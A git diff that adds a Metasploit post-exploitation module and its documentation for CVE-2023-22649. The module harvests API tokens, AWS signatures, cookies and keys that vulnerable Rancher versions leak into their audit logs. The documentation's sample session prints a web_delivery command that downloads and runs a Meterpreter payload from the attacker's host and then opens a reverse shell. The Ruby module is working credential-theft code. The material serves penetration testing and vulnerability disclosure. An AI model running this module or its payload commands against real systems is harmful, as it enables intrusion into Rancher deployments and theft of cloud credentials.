diff --git a/documentation/modules/post/linux/gather/rancher_audit_log_leak.md b/documentation/modules/post/linux/gather/rancher_audit_log_leak.md new file mode 100644 index 0000000000..19b37875c0 --- /dev/null +++ b/documentation/modules/post/linux/gather/rancher_audit_log_leak.md @@ -0,0 +1,121 @@ +## Vulnerable Application + +Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive +contain a vulnerability where sensitive data is leaked into the audit logs. +Rancher Audit Logging is an opt-in feature, only deployments that have it +enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue. + +Tested against rancher 2.6.0 and 2.8.1. + +### Install + +Run the following docker command: +`docker run -d --restart=unless-stopped -p 80:80 -p 443:443 -e AUDIT_LEVEL=3 -v /var/log/rancher/auditlog:/var/log/auditlog --privileged rancher/rancher:v2.6.0` + +You'll now need to grab the install key via `docker logs`: `docker logs 2>&1 | grep "Bootstrap Password:"` + +Lets now add some data for the logs: + +1. Click Cluster Management +1. Select Cloud Credentials: + 1. Click the hamburger in the top left corner + 1. Select Cluster Management + 1. Click Cloud Credentials, and Create + 1. Pick Digital Ocean + 1. Fill in random data, it doesn't have to validate and be a live account + 1. Click Create. It will fail, but the audit logs we need have been written + 1. Pick Amazon + 1. Fill in random data, it doesn't have to validate and be a live account + 1. Click Create. It will fail, but the audit logs we need have been written +1. Click your user icon in the top right corner + 1. Select Accounts & API Keys + 1. Click Create API Key + 1. Give it a name and click create. Write down these values + 1. Perform a request via curl (on the docker image is easiest) which will generate more logs (but ultimately fail): +`curl -H "X-Api-Auth-Header: " -H "X-Amz-Security-Token: FINDME" -k https://172.17.0.2/v3/clusters` + +## Verification Steps + +1. Install the application and generate data +1. Start msfconsole +1. Get a shell +1. Do: `use post/linux/gather/rancher_audit_log_leak` +1. Do: `set session [#]` +1. Do: `run` +1. You should get a table of leaky fields found + +## Options + +### LOGFILE + +The log file to analyze. Defaults to `/var/log/auditlog/rancher-api-audit.log` + +## Scenarios + +### Rancher 2.6.0 on Docker + +``` +[*] Processing rancher_logs.rb for ERB directives. +resource (rancher_logs.rb)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (rancher_logs.rb)> set target 7 +target => 7 +resource (rancher_logs.rb)> set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (rancher_logs.rb)> set lhost 172.18.0.1 +lhost => 172.18.0.1 +resource (rancher_logs.rb)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 172.18.0.1:4444 +[*] Using URL: http://172.18.0.1:8080/zpJT4e2V +[*] Server started. +[*] Run the following command on the target machine: +wget -qO gmZmOwc0 --no-check-certificate http://172.18.0.1:8080/zpJT4e2V; chmod +x gmZmOwc0; ./gmZmOwc0& disown +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.17.0.2:34252) at 2024-03-13 16:51:26 +0000 +``` + +``` +resource (rancher_logs.rb)> use post/linux/gather/rancher_audit_log_leak +resource (rancher_logs.rb)> set session 1 +session => 1 +resource (rancher_logs.rb)> set verbose true +verbose => true +msf6 post(linux/gather/rancher_audit_log_leak) > +msf6 post(linux/gather/rancher_audit_log_leak) > run + +[+] Rancher log saved to: /root/.msf4/loot/20240313165133_default_172.17.0.2_rancher.api.log_616439.txt +[+] Found X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs +[+] Found X-Amz-Security-Token FINDME +[+] Found X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +[+] Found X-Api-Set-Cookie-Header: __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None +[+] Found X-Api-Auth-Header Bearer digital_ocean_access_token +[+] Found X-Api-Set-Cookie-Header: __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None +[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626 +[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75 +[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed +[+] Leaked Information +================== + + Field Value Location + ----- ----- -------- + Username admin Requests + X-Amz-Security-Token FINDME requestHeader + X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs requestHeader + X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa requestHeader + X-Api-Auth-Header Bearer digital_ocean_access_token requestHeader + X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader + t-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626 + X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader + t-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75 + X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader + t-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed + X-Api-Set-Cookie-Header __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY responseHeader + 2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None + X-Api-Set-Cookie-Header __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9 responseHeader + CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None + +[*] Post module execution completed +msf6 post(linux/gather/rancher_audit_log_leak) > +``` diff --git a/modules/post/linux/gather/rancher_audit_log_leak.rb b/modules/post/linux/gather/rancher_audit_log_leak.rb new file mode 100644 index 0000000000..1cdd1c9179 --- /dev/null +++ b/modules/post/linux/gather/rancher_audit_log_leak.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Rancher Audit Log Sensitive Information Leak', + 'Description' => %q{ + Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive + contain a vulnerability where sensitive data is leaked into the audit logs. + Rancher Audit Logging is an opt-in feature, only deployments that have it + enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue. + + Tested against rancher 2.6.0. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + ], + 'Platform' => ['linux', 'unix'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'References' => [ + [ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'], + [ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'], + [ 'CVE', '2023-22649'] + ], + 'DisclosureDate' => '2024-02-08', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_advanced_options [ + OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ]) + ] + end + + def run + # docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options + fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE']) + + log = read_file(datastore['LOGFILE']) + loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log') + print_good("Rancher log saved to: #{loot}") + + usernames_found = [] + table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location']) + + log.each_line do |line| + leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token'] + leaky_response_headers = ['X-Api-Set-Cookie-Header'] + leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey'] + + json_line = JSON.parse(line) + + if json_line.key? 'requestHeader' + leaky_request_headers.each do |leaky_field| + next unless json_line['requestHeader'].key? leaky_field + + secret = json_line['requestHeader'][leaky_field] + secret = secret.join(' ') if secret.is_a?(Array) + print_good("Found #{leaky_field} #{secret}") + table << [leaky_field, secret, 'requestHeader'] + end + end + + if json_line.key? 'responseHeader' + leaky_response_headers.each do |leaky_field| + next unless json_line['responseHeader'].key? leaky_field + + secret = json_line['responseHeader'][leaky_field] + secret = secret.join(' ') if secret.is_a?(Array) + print_good("Found #{leaky_field}: #{secret}") + table << [leaky_field, secret, 'responseHeader'] + end + end + + if json_line.key? 'requestBody' + leaky_request_body.each do |leaky_field| + next unless json_line['requestBody'].key? leaky_field + + secret = json_line['requestBody'][leaky_field] + secret = secret.join(' ') if secret.is_a?(Array) + print_good("Found #{leaky_field} in #{secret}") + table << [leaky_field, secret, 'requestBody'] + end + end + + if json_line.key? 'responseBody' + leaky_request_body.each do |leaky_field| + next unless json_line['responseBody'].key? leaky_field + + secret = json_line['responseBody'][leaky_field] + secret = secret.join(' ') if secret.is_a?(Array) + print_good("Found #{leaky_field} in #{secret}") + table << [leaky_field, secret, 'responseBody'] + end + end + + usernames = json_line.dig('user', 'extra', 'username') + next if usernames.nil? + + usernames_found += usernames + end + + usernames_found.uniq.each do |username| + table << ['Username', username, 'Requests'] + end + + print_line + print_line(table.to_s) + end +end